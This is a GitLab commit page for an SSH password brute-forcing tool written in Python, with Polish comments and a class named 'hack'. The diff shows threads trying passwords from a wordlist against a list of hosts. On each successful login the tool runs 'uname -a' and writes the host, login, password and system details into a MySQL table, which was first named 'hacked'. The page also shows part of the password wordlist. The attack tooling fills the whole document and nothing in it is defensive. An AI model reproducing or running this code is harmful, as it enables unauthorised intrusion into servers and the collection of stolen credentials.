Commit 1ff61b5c authored by Piotr "PHT" Jasiek's avatar Piotr "PHT" Jasiek

Baza danych jako argument, inne poprawki

parent 6fb1f88f
```sql
CREATE TABLE `admin_boty`.`ares_results` (
`id` INT(255) NOT NULL AUTO_INCREMENT ,
`host` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
`login` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
`password` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
`unixtime` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
`uname` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
PRIMARY KEY (`id`)) ENGINE = InnoDB;
```
......@@ -7,7 +7,6 @@ import time
import sys
import os
import threading
from modules.database import *
from modules.fileoperations import *
from modules.fontcolor import *
from modules.sshoperations import *
......@@ -18,8 +17,13 @@ parser.add_argument('--user', required=True)
parser.add_argument('--passwords', required=True, type=open)
parser.add_argument('--hosts', required=True, type=open)
parser.add_argument('--limit', type=int, default=50)
parser.add_argument('--db', default="no")
parser.add_argument('--dbhost')
parser.add_argument('--dbuser')
parser.add_argument('--dbpass')
parser.add_argument('--dbname')
args = parser.parse_args()
user = args.user
passwords = args.passwords
hosts = args.hosts
......@@ -42,7 +46,10 @@ while (to_run != 0 and to_run > 0):
time.sleep( 1 )
try:
hack(host, user, lista_hasel).start()
if args.db != "no":
hack(host, user, lista_hasel, args.dbhost, args.dbuser, args.dbpass, args.dbname).start()
else:
hack(host, user, lista_hasel).start()
to_run = to_run -1
print bcolors.INFO, "W kolejce:",to_run, "Uruchomionych:", th_amount, "Uruchamiam kolejne zadanie -", host, bcolors.ENDC
......
......@@ -4,10 +4,10 @@ import MySQLdb
import time
def add_host(host, login, password, uname):
def add_host(dbhost, dbuser, dbpass, dbname, host, login, password, uname):
# Open database connection
db = MySQLdb.connect("host","user","pass","db" )
db = MySQLdb.connect(dbhost, dbuser, dbpass, dbname)
# prepare a cursor object using cursor() method
cursor = db.cursor()
......@@ -16,7 +16,7 @@ def add_host(host, login, password, uname):
unixtime = int(time.time())
sql = "INSERT INTO hacked(ip,login,pass,data,uname) \
sql = "INSERT INTO ares_results(host, login, password, unixtime, uname) \
VALUES ('%s', '%s', '%s', %d, '%s' )" % (host, login, password, unixtime, uname)
try:
# Execute the SQL command
......
......@@ -3,7 +3,7 @@
class bcolors:
HEADER = '\033[95m'
INFO= '\033[94m'
OKGREEN = '\033[92m'
OK = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
......
......@@ -2,16 +2,22 @@
#-*- coding: utf-8 -*-
import threading
from fontcolor import *
from database import *
from pexpect import pxssh
import os
###Klasa odpowiadająca za połączenie z hostami i dopasowywanie haseł
class hack (threading.Thread):
def __init__(self, host, user, hasla):
def __init__(self, host, user, hasla, dbhost=None, dbuser=None, dbpass=None, dbname=None):
threading.Thread.__init__(self)
self.host = host
self.user = user
self.hasla = hasla
self.dbhost = dbhost
self.dbuser = dbuser
self.dbpass = dbpass
self.dbname = dbname
def run(self):
for self.haslo in self.hasla:
......@@ -35,12 +41,14 @@ class hack (threading.Thread):
else:
s.sendline ('uname -a')
s.prompt()
uname = s.before
uname = uname.replace('uname -a\r\n','')
uname = uname.replace('\r\n','')
#add_host(self.host, self.user, self.haslo, uname)
if self.dbhost:
s.sendline ('uname -a')
s.prompt()
uname = s.before
uname = uname.replace('uname -a\r\n','')
uname = uname.replace('\r\n','')
add_host(self.dbhost, self.dbuser, self.dbpass, self.dbname, self.host, self.user, self.haslo, uname)
print bcolors.OK,"---", self.host, self.haslo, "---", bcolors.ENDC
break
......
##false
auth
1234
12345
123456
......
auth
!!!4545
!"123
!";1234
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment